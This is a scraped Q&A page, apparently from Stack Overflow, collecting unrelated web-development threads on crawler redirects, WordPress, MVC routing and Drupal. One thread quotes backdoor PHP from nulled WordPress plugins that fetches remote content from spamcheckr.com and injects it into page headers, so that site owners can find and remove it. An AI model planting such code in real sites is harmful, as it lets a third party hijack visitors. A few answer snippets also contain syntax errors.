I'm crawling a web page that's returning a redirect, so I'd like to add a configuration option into my crawler that that will let me set allow_redirects to false. Looking at the guzzle.readthedocs.org web page in regards to redirects, it says
$response = $client->get('http://github.com', ['allow_redirects' => false]);
echo $response->getStatusCode();
// 301
Since I am using Goutte with Symfony2, these commands are a little different. For example:
$client->getClient()->setDefaultOption('config/curl/'.CURLOPT_SSL_VERIFYHOST, FALSE);
Can anyone help me discover how I can add the guzzle allow_redirects to the configuration? I feel that this will help me to not get page content that I want and not a crawler full of redirect code.
Thanks!
Your question is, how to "translate" ['allow_redirects' => false] into Goutte-syntax?
Well, here's how to set up cURL options in Goutte: https://github.com/FriendsOfPHP/Goutte (search for "Fine-tune cURL options:")
And http://php.net/manual/en/function.curl-setopt.php gives you the name of the option you're looking for: CURLOPT_FOLLOWLOCATION
So putting it all together:
$client->getClient()->setDefaultOption('config/curl/'.CURLOPT_FOLLOWLOCATION, false;
If that's not what you asked for, please edit your question and clarify.
Related
This one is driving me crazy, I've tried lots of solutions on stack but can't seem to get one working with the below.
I'm testing out an ajax filter on some blog posts, but I'm just getting a 400 error "POST /wp-admin/admin-ajax.php 400"
If anybody could shed some light I'd be grateful.
Thank you
I can think only of 3 things:
Your add_actions doesn't get hit in time, remember that Wordpress ajax requests are processed by admin-ajax.php, make sure that your add_action gets called before that
Inside your JS code you used ajax.type = post, that's wrong. I guess you wanted to use ajax.method = POST and eventually dataType = json. You can see the docs here https://api.jquery.com/jquery.ajax/
Your action doesn't return any valid data, return some json, some string, something. Its ok to call die() but well, return something maybe ? Since you are expecting something in ajax callback
P.s. = don't post code as image, we cannot copy easily from there
Apart from the suggestion posted by #Diego, ajax_url should be the full URL, like https://yourwebsite.com/wp-admin/admin-ajax.php
Hello StackOverflow community. I have a very interesting (at my opinion) infection to share with you today.
4-5 days ago I realized that my blog's homepage after some seconds of loading was redirected to another page. Specifically to youtube, at a Justin Bieber video. I thought it was my computer's problem, so I scanned or viruses and malware. But it wasn't my fault.
Finally I was sure that it was not a local problem because Google pagespeed insights had the same result.
So, after many hours of research (and some broken keyboards) I found out those clues. In details:
A meta tag was created inside my header similar to this:
<meta http-equiv="refresh" content="0; url=http://www.youtube.com/watch?v=RFngSCaY5nA">
First, I disabled all my plugins but without result. After a while the problem was still there.
Second, I searched all my database tables to find out if the URL of the video was included somewhere, but it wasn't.
Then I searched in my template editor one by one the php files, but nothing.
.htaccess was also clear (not 100% sure what I was looking for in there, but I think there was nothing suspicious).
After all these, I downloaded via FTP my whole site, and searched inside every file for this URL. I found that it was included to some HTML files of the CACHE folder. I use W3 Total Cache for that purpose. I deleted the whole cache folder, but after a while the problem was still there.
The fun fact here is that this "virus" is not always active. It appears at random time, at different page each time. Also tonight I realized that it appeared on a second computer, the same time that everything looked fine on my computer.
The Youtube Video URL is: http:// www.youtube.com/watch?v=RFngSCaY5nA
So my question is: Does anyone of you have a solution to recommend before deleting the whole installation and start from the beginning? Does anyone else had the same problem wit me in the past?
I think that's all l have to share. I'm sorry for the long post, tried to be as detailed as possible. I'm not good at coding, this is my first attempt to run a WordPress site so, there might be something that I forgot.
Thanks in advance.
I have the same problem and think I found the solution!
Check your site files for this link: http://spamcheckr.com/l.php
I found this link in formcraft plugin.
Like this:
if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqqc2_chesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqqc2_chesk');}}
Edited:
Also check for this: http://spamcheckr.com/req.php
I have found this script in the wordpress fooboxV2 plugin.(FooBox)
Plugin official url is http://fooplugins.com/plugins/foobox/
This is the script file path
/wp-content/plugins/fooboxV2/includes/foolic_class.php
You can see whole scripts are commented.But I found this code in that commented code.
<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_hhesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_hhesk');}} ?>
If you are using a nulled version of Gravity Forms you might also get this redirection problem. To solve the problem go to /plugins/gravityforms/settings/setting.php and remove the following code:
<?php if (!isset($_COOKIE['wordpress_test_cookie'])){ if (mt_rand(1,20) == 1) {function secqc2_cahesk() {if(function_exists('curl_init')){$addressd = "http://spamcheckr.com/l.php";$ch = curl_init();$timeout = 5;curl_setopt($ch,CURLOPT_URL,$addressd);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);$data = curl_exec($ch);curl_close($ch);echo "$data";}}add_action('wp_head','secqc2_cahesk');}} ?>
Good luck.
Good answer above. To add to it, I recommend using grep to anyone who has trouble searching for the code :
grep -nr 'http://spamcheckr.com/l.php' /www/wordpress/wp-content
If you don't have grep and cant access your server (windows users) download it or use findstr :
findstr /s /i /p "http://spamcheckr.com/l.php" /www/wordpress/wp-content
(Dont forget to change /www/wordpress/wp-content to the location or your wordpress folders
Found it, too. In my case I was using an apparently nulled plug-in (which I didn't realize). It's called woocommerce-checkout-field-editor and was injecting a link to a Justin Bieber youtube video.
The function looks like this and is was hidden in \wp-content\plugins\woocommerce-checkout-field-editor\assets\js\class.php:
if (mt_rand(0,99) == 1) {
function sec_check() {
if(function_exists('curl_init'))
{
$url = "spamcheckr.com/req.php";
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";
}
}
add_action('wp_head','sec_check');
}
As we can see, it only displays the spam when a random function hits '1'. Then, it politely asks to see if curl is installed and then sends a simple GET request to the spam server to see what code it should be injecting.
The site is spamcheckr.com.
It then adds itself into the WordPress header and redirects the viewer of the page.
I reported the site to their host and let's see what happens.
I am trying to rewrite a url in wordpress so that I can serve up dynamic content based on variables that are passed. I have a plug in that needs variable data passed into it. Currently I have:
http://xyzsite.com/page/?var1=something
this works fine and passes in a $_GET var. So my next step is to clean up the variable so that it looks like
http://xyzsite.com/page/something
I have done a few google searches and come accross some site that looked promising but I cannot get any of them to work. From what I have read, i need to use
add_rewrite_tag and add_rewrite_rule
After reading through the articles I have added this to my functions.php page:
add_rewrite_tag('%var1%','([^&]+)');
add_rewrite_rule('^page/([^&]+)/?','index.php?p=1141&var1=$matches[1]','top');
when i navigate to the page http://xyzsite.com/page/something i get a 404 error. When i navigate the to http://xyzsite.com/page/?var1=something it is still working fine. So it looks as if my rewrite is not registering or working correctly.
Can someone help me to achieve the above rewrite. FYI my permalink settings is set to post name if that matters at all. Thank you.
I̶'̶m̶ ̶n̶o̶t̶ ̶a̶ ̶r̶e̶g̶e̶x̶ ̶p̶r̶o̶,̶ ̶b̶u̶t̶ ̶I̶ ̶s̶u̶s̶p̶e̶c̶t̶ ̶a̶n̶ ̶i̶s̶s̶u̶e̶ ̶i̶n̶ ̶y̶o̶u̶r̶ ̶r̶e̶w̶r̶i̶t̶e̶ ̶r̶u̶l̶e̶:̶
a̶d̶d̶_̶r̶e̶w̶r̶i̶t̶e̶_̶r̶u̶l̶e̶(̶'̶^̶p̶a̶g̶e̶/̶(̶[̶^̶&̶]̶+̶)̶/̶?̶'̶,̶'̶i̶n̶d̶e̶x̶.̶p̶h̶p̶?̶p̶=̶1̶1̶4̶1̶&̶v̶a̶r̶1̶=̶$̶m̶a̶t̶c̶h̶e̶s̶[̶1̶]̶'̶,̶'̶t̶o̶p̶'̶)̶;̶
̶
̶N̶o̶t̶e̶ ̶t̶h̶e̶ ̶/̶?̶ ̶y̶o̶u̶'̶v̶e̶ ̶a̶d̶d̶e̶d̶ ̶a̶t̶ ̶t̶h̶e̶ ̶e̶n̶d̶.̶ ̶T̶h̶u̶s̶ ̶y̶o̶u̶ ̶s̶h̶o̶u̶l̶d̶ ̶a̶c̶c̶e̶s̶s̶ ̶y̶o̶u̶r̶ ̶p̶a̶g̶e̶ ̶w̶i̶t̶h̶ ̶h̶t̶t̶p̶:̶/̶/̶x̶y̶z̶s̶i̶t̶e̶.̶c̶o̶m̶/̶p̶a̶g̶e̶/̶s̶o̶m̶e̶t̶h̶i̶n̶g̶/̶?̶ ̶a̶n̶d̶ ̶n̶o̶t̶ ̶x̶y̶z̶s̶i̶t̶e̶.̶c̶o̶m̶/̶p̶a̶g̶e̶/̶s̶o̶m̶e̶t̶h̶i̶n̶g̶.̶ ̶H̶a̶v̶e̶ ̶y̶o̶u̶ ̶t̶r̶i̶e̶d̶ ̶i̶f̶ ̶t̶h̶a̶t̶ ̶w̶o̶r̶k̶s̶?̶
The stroked out text above is wrong, as Gustavo Straube pointed out in the comments. Please disregard that proposed solution.
My only last advice is to try adding a flush_rules(); after your last add_rewrite_rule, as stated in http://codex.wordpress.org/Rewrite_API/flush_rules.
Note that you should be accessing your query vars with get_query_var('var_name') instead of trying to access $_GET directly.
I just cant get this to work...
I have the following routes:
routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
routes.IgnoreRoute("*.html|js|css|gif|jpg|jpeg|png|swf");
routes.IgnoreRoute("{*favicon}", new { favicon = #"(.*/)?favicon.ico(/.*)?" });
routes.MapRoute(
"Default", // Route name
"{lama}/{controller}/{action}", // URL with parameters
new { controller = "Home", action = "Index", lama = "en-gb" } // Parameter defaults
);
And once I load the page.. I have a img element that tries to retrive the following url:
css/img/backgrounds/slide1_2048x1280.jpg
But the image wont show up and if I check my console I get the following error:
GET {my localhost}/cn/Home/css/img/backgrounds/slide1_2048x1280.jpg 404 (Not Found)
I have such a hard time understanding the route-system.. is there anywhere I can read ALOT more about this?.. And could somebody please help me with this single problem then that whould be very appreciated!
I think have fallen foul of relative urls in your html.
Since you haven't said whether this is Razor or Aspx; I'm just going to go with Aspx.
When you write the img tag it seems that you might be doing:
<img src="[relative_path_to_file]" />, using the path of the img relative to the page.
If that doesn't start with / then it's almost certainly the case that you will end up with issues, especially since MVC URLs don't map to the path of the actual page.
What you want to do is to use Url.Content("~/[full_path_to_file]") which will ensure that an absolute path will always be used.
On another note - you really do not need to write all these ignore routes for files that exist on disk. By default, the routing engine will not route existing files - you have to set routes.RouteExistingFiles = true in the RegisterRoutes method in your global in order to route files that already exist; so I think you should get rid of them.
i usually hit up 1) stackoverflow (obviously!), and 2) the msdn docs are pretty good:
http://msdn.microsoft.com/en-us/library/dd410120.aspx. But i usually end up googling for specifically what i need =)
However, looks like you're trying to setup a route to ignore certain filetypes?
i found this article that gives some good ideas on how to handle this.
I've only blocked one or two filetypes before, and i made one line per filetype. Not sure if you can make one line that has extensions delimited by pipe (|) like you're doing (i could be wrong!)
routes.IgnoreRoute("{*allaspx}", new {allaspx=#".*\.aspx(/.*)?"});
routes.IgnoreRoute("{*allswf}", new {allswf=#".*\.swf(/.*)?"});
I am working on yet another module idea. This module is simply supposed to redirect a user automatically to a specified node like in the following example code:
function test_module_init(){
drupal_goto('node/100');
}
The code is a mere example. But, the very really problem is the code keeps executing until the browser returns a "too many redirects" error message.
I understand why this is happening. What I need help with is the best hook to place my drupal_goto code so it executes once instead of the multiple times it currently does in hook_init.
Can't you just do something like this:
function test_module_init() {
if(isset($_GET['q') && $_GET['q'] == 'node/100') {
// skip goto statement
return;
}
drupal_goto('node/100');
}
The init hook you wrote fires on every page load including when you are on node/100. That's why you're getting a redirect. So the page is redirecting to itself. You really only need to redirect if you're not already on node/100. You can find this info in $_GET['q'] if you need to.
You don't need a different hook you just need to make sure that you don't call the drupal_goto if you're already on the destination page.